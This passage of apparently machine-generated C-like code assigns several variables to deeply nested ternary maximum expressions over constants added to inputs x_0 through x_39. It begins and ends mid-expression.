(((9.0 + x_11) > (6.0 + x_12)? (9.0 + x_11) : (6.0 + x_12)) > ((8.0 + x_14) > ((19.0 + x_17) > (16.0 + x_20)? (19.0 + x_17) : (16.0 + x_20))? (8.0 + x_14) : ((19.0 + x_17) > (16.0 + x_20)? (19.0 + x_17) : (16.0 + x_20)))? ((9.0 + x_11) > (6.0 + x_12)? (9.0 + x_11) : (6.0 + x_12)) : ((8.0 + x_14) > ((19.0 + x_17) > (16.0 + x_20)? (19.0 + x_17) : (16.0 + x_20))? (8.0 + x_14) : ((19.0 + x_17) > (16.0 + x_20)? (19.0 + x_17) : (16.0 + x_20))))) : ((((20.0 + x_21) > (14.0 + x_22)? (20.0 + x_21) : (14.0 + x_22)) > ((11.0 + x_23) > ((19.0 + x_24) > (17.0 + x_25)? (19.0 + x_24) : (17.0 + x_25))? (11.0 + x_23) : ((19.0 + x_24) > (17.0 + x_25)? (19.0 + x_24) : (17.0 + x_25)))? ((20.0 + x_21) > (14.0 + x_22)? (20.0 + x_21) : (14.0 + x_22)) : ((11.0 + x_23) > ((19.0 + x_24) > (17.0 + x_25)? (19.0 + x_24) : (17.0 + x_25))? (11.0 + x_23) : ((19.0 + x_24) > (17.0 + x_25)? (19.0 + x_24) : (17.0 + x_25)))) > (((18.0 + x_27) > (9.0 + x_30)? (18.0 + x_27) : (9.0 + x_30)) > ((14.0 + x_31) > ((14.0 + x_34) > (20.0 + x_37)? (14.0 + x_34) : (20.0 + x_37))? (14.0 + x_31) : ((14.0 + x_34) > (20.0 + x_37)? (14.0 + x_34) : (20.0 + x_37)))? ((18.0 + x_27) > (9.0 + x_30)? (18.0 + x_27) : (9.0 + x_30)) : ((14.0 + x_31) > ((14.0 + x_34) > (20.0 + x_37)? (14.0 + x_34) : (20.0 + x_37))? (14.0 + x_31) : ((14.0 + x_34) > (20.0 + x_37)? (14.0 + x_34) : (20.0 + x_37))))? (((20.0 + x_21) > (14.0 + x_22)? (20.0 + x_21) : (14.0 + x_22)) > ((11.0 + x_23) > ((19.0 + x_24) > (17.0 + x_25)? (19.0 + x_24) : (17.0 + x_25))? (11.0 + x_23) : ((19.0 + x_24) > (17.0 + x_25)? (19.0 + x_24) : (17.0 + x_25)))? ((20.0 + x_21) > (14.0 + x_22)? (20.0 + x_21) : (14.0 + x_22)) : ((11.0 + x_23) > ((19.0 + x_24) > (17.0 + x_25)? (19.0 + x_24) : (17.0 + x_25))? (11.0 + x_23) : ((19.0 + x_24) > (17.0 + x_25)? (19.0 + x_24) : (17.0 + x_25)))) : (((18.0 + x_27) > (9.0 + x_30)? (18.0 + x_27) : (9.0 + x_30)) > ((14.0 + x_31) > ((14.0 + x_34) > (20.0 + x_37)? (14.0 + x_34) : (20.0 + x_37))? (14.0 + x_31) : ((14.0 + x_34) > (20.0 + x_37)? (14.0 + x_34) : (20.0 + x_37)))? ((18.0 + x_27) > (9.0 + x_30)? (18.0 + x_27) : (9.0 + x_30)) : ((14.0 + x_31) > ((14.0 + x_34) > (20.0 + x_37)? (14.0 + x_34) : (20.0 + x_37))? (14.0 + x_31) : ((14.0 + x_34) > (20.0 + x_37)? (14.0 + x_34) : (20.0 + x_37)))))); x_33_ = (((((6.0 + x_0) > (9.0 + x_1)? (6.0 + x_0) : (9.0 + x_1)) > ((5.0 + x_2) > ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4))? (5.0 + x_2) : ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4)))? ((6.0 + x_0) > (9.0 + x_1)? (6.0 + x_0) : (9.0 + x_1)) : ((5.0 + x_2) > ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4))? (5.0 + x_2) : ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4)))) > (((11.0 + x_5) > (17.0 + x_9)? (11.0 + x_5) : (17.0 + x_9)) > ((11.0 + x_12) > ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15))? (11.0 + x_12) : ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15)))? ((11.0 + x_5) > (17.0 + x_9)? (11.0 + x_5) : (17.0 + x_9)) : ((11.0 + x_12) > ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15))? (11.0 + x_12) : ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15))))? (((6.0 + x_0) > (9.0 + x_1)? (6.0 + x_0) : (9.0 + x_1)) > ((5.0 + x_2) > ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4))? (5.0 + x_2) : ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4)))? ((6.0 + x_0) > (9.0 + x_1)? (6.0 + x_0) : (9.0 + x_1)) : ((5.0 + x_2) > ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4))? (5.0 + x_2) : ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4)))) : (((11.0 + x_5) > (17.0 + x_9)? (11.0 + x_5) : (17.0 + x_9)) > ((11.0 + x_12) > ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15))? (11.0 + x_12) : ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15)))? ((11.0 + x_5) > (17.0 + x_9)? (11.0 + x_5) : (17.0 + x_9)) : ((11.0 + x_12) > ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15))? (11.0 + x_12) : ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15))))) > ((((13.0 + x_16) > (19.0 + x_17)? (13.0 + x_16) : (19.0 + x_17)) > ((4.0 + x_18) > ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20))? (4.0 + x_18) : ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20)))? ((13.0 + x_16) > (19.0 + x_17)? (13.0 + x_16) : (19.0 + x_17)) : ((4.0 + x_18) > ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20))? (4.0 + x_18) : ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20)))) > (((15.0 + x_21) > (13.0 + x_23)? (15.0 + x_21) : (13.0 + x_23)) > ((10.0 + x_34) > ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39))? (10.0 + x_34) : ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39)))? ((15.0 + x_21) > (13.0 + x_23)? (15.0 + x_21) : (13.0 + x_23)) : ((10.0 + x_34) > ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39))? (10.0 + x_34) : ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39))))? (((13.0 + x_16) > (19.0 + x_17)? (13.0 + x_16) : (19.0 + x_17)) > ((4.0 + x_18) > ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20))? (4.0 + x_18) : ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20)))? ((13.0 + x_16) > (19.0 + x_17)? (13.0 + x_16) : (19.0 + x_17)) : ((4.0 + x_18) > ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20))? (4.0 + x_18) : ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20)))) : (((15.0 + x_21) > (13.0 + x_23)? (15.0 + x_21) : (13.0 + x_23)) > ((10.0 + x_34) > ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39))? (10.0 + x_34) : ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39)))? ((15.0 + x_21) > (13.0 + x_23)? (15.0 + x_21) : (13.0 + x_23)) : ((10.0 + x_34) > ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39))? (10.0 + x_34) : ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39)))))? ((((6.0 + x_0) > (9.0 + x_1)? (6.0 + x_0) : (9.0 + x_1)) > ((5.0 + x_2) > ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4))? (5.0 + x_2) : ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4)))? ((6.0 + x_0) > (9.0 + x_1)? (6.0 + x_0) : (9.0 + x_1)) : ((5.0 + x_2) > ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4))? (5.0 + x_2) : ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4)))) > (((11.0 + x_5) > (17.0 + x_9)? (11.0 + x_5) : (17.0 + x_9)) > ((11.0 + x_12) > ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15))? (11.0 + x_12) : ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15)))? ((11.0 + x_5) > (17.0 + x_9)? (11.0 + x_5) : (17.0 + x_9)) : ((11.0 + x_12) > ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15))? (11.0 + x_12) : ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15))))? (((6.0 + x_0) > (9.0 + x_1)? (6.0 + x_0) : (9.0 + x_1)) > ((5.0 + x_2) > ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4))? (5.0 + x_2) : ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4)))? ((6.0 + x_0) > (9.0 + x_1)? (6.0 + x_0) : (9.0 + x_1)) : ((5.0 + x_2) > ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4))? (5.0 + x_2) : ((17.0 + x_3) > (19.0 + x_4)? (17.0 + x_3) : (19.0 + x_4)))) : (((11.0 + x_5) > (17.0 + x_9)? (11.0 + x_5) : (17.0 + x_9)) > ((11.0 + x_12) > ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15))? (11.0 + x_12) : ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15)))? ((11.0 + x_5) > (17.0 + x_9)? (11.0 + x_5) : (17.0 + x_9)) : ((11.0 + x_12) > ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15))? (11.0 + x_12) : ((13.0 + x_14) > (3.0 + x_15)? (13.0 + x_14) : (3.0 + x_15))))) : ((((13.0 + x_16) > (19.0 + x_17)? (13.0 + x_16) : (19.0 + x_17)) > ((4.0 + x_18) > ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20))? (4.0 + x_18) : ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20)))? ((13.0 + x_16) > (19.0 + x_17)? (13.0 + x_16) : (19.0 + x_17)) : ((4.0 + x_18) > ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20))? (4.0 + x_18) : ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20)))) > (((15.0 + x_21) > (13.0 + x_23)? (15.0 + x_21) : (13.0 + x_23)) > ((10.0 + x_34) > ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39))? (10.0 + x_34) : ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39)))? ((15.0 + x_21) > (13.0 + x_23)? (15.0 + x_21) : (13.0 + x_23)) : ((10.0 + x_34) > ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39))? (10.0 + x_34) : ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39))))? (((13.0 + x_16) > (19.0 + x_17)? (13.0 + x_16) : (19.0 + x_17)) > ((4.0 + x_18) > ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20))? (4.0 + x_18) : ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20)))? ((13.0 + x_16) > (19.0 + x_17)? (13.0 + x_16) : (19.0 + x_17)) : ((4.0 + x_18) > ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20))? (4.0 + x_18) : ((17.0 + x_19) > (1.0 + x_20)? (17.0 + x_19) : (1.0 + x_20)))) : (((15.0 + x_21) > (13.0 + x_23)? (15.0 + x_21) : (13.0 + x_23)) > ((10.0 + x_34) > ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39))? (10.0 + x_34) : ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39)))? ((15.0 + x_21) > (13.0 + x_23)? (15.0 + x_21) : (13.0 + x_23)) : ((10.0 + x_34) > ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39))? (10.0 + x_34) : ((5.0 + x_38) > (18.0 + x_39)? (5.0 + x_38) : (18.0 + x_39)))))); x_34_ = (((((7.0 + x_0) > (7.0 + x_3)? (7.0 + x_0) : (7.0 + x_3)) > ((14.0 + x_4) > ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9))? (14.0 + x_4) : ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)))? ((7.0 + x_0) > (7.0 + x_3)? (7.0 + x_0) : (7.0 + x_3)) : ((14.0 + x_4) > ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9))? (14.0 + x_4) : ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)))) > (((17.0 + x_13) > (17.0 + x_16)? (17.0 + x_13) : (17.0 + x_16)) > ((3.0 + x_17) > ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22))? (3.0 + x_17) : ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22)))? ((17.0 + x_13) > (17.0 + x_16)? (17.0 + x_13) : (17.0 + x_16)) : ((3.0 + x_17) > ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22))? (3.0 + x_17) : ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22))))? (((7.0 + x_0) > (7.0 + x_3)? (7.0 + x_0) : (7.0 + x_3)) > ((14.0 + x_4) > ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9))? (14.0 + x_4) : ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)))? ((7.0 + x_0) > (7.0 + x_3)? (7.0 + x_0) : (7.0 + x_3)) : ((14.0 + x_4) > ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9))? (14.0 + x_4) : ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)))) : (((17.0 + x_13) > (17.0 + x_16)? (17.0 + x_13) : (17.0 + x_16)) > ((3.0 + x_17) > ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22))? (3.0 + x_17) : ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22)))? ((17.0 + x_13) > (17.0 + x_16)? (17.0 + x_13) : (17.0 + x_16)) : ((3.0 + x_17) > ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22))? (3.0 + x_17) : ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22))))) > ((((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) > ((19.0 + x_27) > ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29))? (19.0 + x_27) : ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29)))? ((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) : ((19.0 + x_27) > ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29))? (19.0 + x_27) : ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29)))) > (((19.0 + x_30) > (18.0 + x_31)? (19.0 + x_30) : (18.0 + x_31)) > ((17.0 + x_35) > ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39))? (17.0 + x_35) : ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39)))? ((19.0 + x_30) > (18.0 + x_31)? (19.0 + x_30) : (18.0 + x_31)) : ((17.0 + x_35) > ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39))? (17.0 + x_35) : ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39))))? (((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) > ((19.0 + x_27) > ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29))? (19.0 + x_27) : ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29)))? ((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) : ((19.0 + x_27) > ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29))? (19.0 + x_27) : ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29)))) : (((19.0 + x_30) > (18.0 + x_31)? (19.0 + x_30) : (18.0 + x_31)) > ((17.0 + x_35) > ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39))? (17.0 + x_35) : ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39)))? ((19.0 + x_30) > (18.0 + x_31)? (19.0 + x_30) : (18.0 + x_31)) : ((17.0 + x_35) > ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39))? (17.0 + x_35) : ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39)))))? ((((7.0 + x_0) > (7.0 + x_3)? (7.0 + x_0) : (7.0 + x_3)) > ((14.0 + x_4) > ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9))? (14.0 + x_4) : ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)))? ((7.0 + x_0) > (7.0 + x_3)? (7.0 + x_0) : (7.0 + x_3)) : ((14.0 + x_4) > ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9))? (14.0 + x_4) : ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)))) > (((17.0 + x_13) > (17.0 + x_16)? (17.0 + x_13) : (17.0 + x_16)) > ((3.0 + x_17) > ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22))? (3.0 + x_17) : ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22)))? ((17.0 + x_13) > (17.0 + x_16)? (17.0 + x_13) : (17.0 + x_16)) : ((3.0 + x_17) > ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22))? (3.0 + x_17) : ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22))))? (((7.0 + x_0) > (7.0 + x_3)? (7.0 + x_0) : (7.0 + x_3)) > ((14.0 + x_4) > ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9))? (14.0 + x_4) : ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)))? ((7.0 + x_0) > (7.0 + x_3)? (7.0 + x_0) : (7.0 + x_3)) : ((14.0 + x_4) > ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9))? (14.0 + x_4) : ((20.0 + x_8) > (14.0 + x_9)? (20.0 + x_8) : (14.0 + x_9)))) : (((17.0 + x_13) > (17.0 + x_16)? (17.0 + x_13) : (17.0 + x_16)) > ((3.0 + x_17) > ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22))? (3.0 + x_17) : ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22)))? ((17.0 + x_13) > (17.0 + x_16)? (17.0 + x_13) : (17.0 + x_16)) : ((3.0 + x_17) > ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22))? (3.0 + x_17) : ((15.0 + x_21) > (9.0 + x_22)? (15.0 + x_21) : (9.0 + x_22))))) : ((((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) > ((19.0 + x_27) > ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29))? (19.0 + x_27) : ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29)))? ((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) : ((19.0 + x_27) > ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29))? (19.0 + x_27) : ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29)))) > (((19.0 + x_30) > (18.0 + x_31)? (19.0 + x_30) : (18.0 + x_31)) > ((17.0 + x_35) > ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39))? (17.0 + x_35) : ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39)))? ((19.0 + x_30) > (18.0 + x_31)? (19.0 + x_30) : (18.0 + x_31)) : ((17.0 + x_35) > ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39))? (17.0 + x_35) : ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39))))? (((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) > ((19.0 + x_27) > ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29))? (19.0 + x_27) : ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29)))? ((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) : ((19.0 + x_27) > ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29))? (19.0 + x_27) : ((12.0 + x_28) > (14.0 + x_29)? (12.0 + x_28) : (14.0 + x_29)))) : (((19.0 + x_30) > (18.0 + x_31)? (19.0 + x_30) : (18.0 + x_31)) > ((17.0 + x_35) > ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39))? (17.0 + x_35) : ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39)))? ((19.0 + x_30) > (18.0 + x_31)? (19.0 + x_30) : (18.0 + x_31)) : ((17.0 + x_35) > ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39))? (17.0 + x_35) : ((17.0 + x_37) > (5.0 + x_39)? (17.0 + x_37) : (5.0 + x_39)))))); x_35_ = (((((18.0 + x_0) > (5.0 + x_1)? (18.0 + x_0) : (5.0 + x_1)) > ((18.0 + x_3) > ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6))? (18.0 + x_3) : ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6)))? ((18.0 + x_0) > (5.0 + x_1)? (18.0 + x_0) : (5.0 + x_1)) : ((18.0 + x_3) > ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6))? (18.0 + x_3) : ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6)))) > (((20.0 + x_10) > (13.0 + x_13)? (20.0 + x_10) : (13.0 + x_13)) > ((14.0 + x_20) > ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23))? (14.0 + x_20) : ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23)))? ((20.0 + x_10) > (13.0 + x_13)? (20.0 + x_10) : (13.0 + x_13)) : ((14.0 + x_20) > ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23))? (14.0 + x_20) : ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23))))? (((18.0 + x_0) > (5.0 + x_1)? (18.0 + x_0) : (5.0 + x_1)) > ((18.0 + x_3) > ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6))? (18.0 + x_3) : ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6)))? ((18.0 + x_0) > (5.0 + x_1)? (18.0 + x_0) : (5.0 + x_1)) : ((18.0 + x_3) > ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6))? (18.0 + x_3) : ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6)))) : (((20.0 + x_10) > (13.0 + x_13)? (20.0 + x_10) : (13.0 + x_13)) > ((14.0 + x_20) > ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23))? (14.0 + x_20) : ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23)))? ((20.0 + x_10) > (13.0 + x_13)? (20.0 + x_10) : (13.0 + x_13)) : ((14.0 + x_20) > ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23))? (14.0 + x_20) : ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23))))) > ((((11.0 + x_24) > (10.0 + x_25)? (11.0 + x_24) : (10.0 + x_25)) > ((15.0 + x_28) > ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30))? (15.0 + x_28) : ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30)))? ((11.0 + x_24) > (10.0 + x_25)? (11.0 + x_24) : (10.0 + x_25)) : ((15.0 + x_28) > ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30))? (15.0 + x_28) : ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30)))) > (((11.0 + x_33) > (14.0 + x_36)? (11.0 + x_33) : (14.0 + x_36)) > ((16.0 + x_37) > ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39))? (16.0 + x_37) : ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39)))? ((11.0 + x_33) > (14.0 + x_36)? (11.0 + x_33) : (14.0 + x_36)) : ((16.0 + x_37) > ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39))? (16.0 + x_37) : ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39))))? (((11.0 + x_24) > (10.0 + x_25)? (11.0 + x_24) : (10.0 + x_25)) > ((15.0 + x_28) > ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30))? (15.0 + x_28) : ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30)))? ((11.0 + x_24) > (10.0 + x_25)? (11.0 + x_24) : (10.0 + x_25)) : ((15.0 + x_28) > ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30))? (15.0 + x_28) : ((13.0 + x_29) > (14.0 + x_30)? (13.0 + x_29) : (14.0 + x_30)))) : (((11.0 + x_33) > (14.0 + x_36)? (11.0 + x_33) : (14.0 + x_36)) > ((16.0 + x_37) > ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39))? (16.0 + x_37) : ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39)))? ((11.0 + x_33) > (14.0 + x_36)? (11.0 + x_33) : (14.0 + x_36)) : ((16.0 + x_37) > ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39))? (16.0 + x_37) : ((16.0 + x_38) > (19.0 + x_39)? (16.0 + x_38) : (19.0 + x_39)))))? ((((18.0 + x_0) > (5.0 + x_1)? (18.0 + x_0) : (5.0 + x_1)) > ((18.0 + x_3) > ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6))? (18.0 + x_3) : ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6)))? ((18.0 + x_0) > (5.0 + x_1)? (18.0 + x_0) : (5.0 + x_1)) : ((18.0 + x_3) > ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6))? (18.0 + x_3) : ((17.0 + x_5) > (10.0 + x_6)? (17.0 + x_5) : (10.0 + x_6)))) > (((20.0 + x_10) > (13.0 + x_13)? (20.0 + x_10) : (13.0 + x_13)) > ((14.0 + x_20) > ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23))? (14.0 + x_20) : ((15.0 + x_21) > (5.0 + x_23)? (15.0 + x_21) : (5.0 + x_23)))? ((20.0 + x_10) > (13.0 + x_13)? (20.0 + x_10) : (13.0 + x_13)) : ((14.0 + 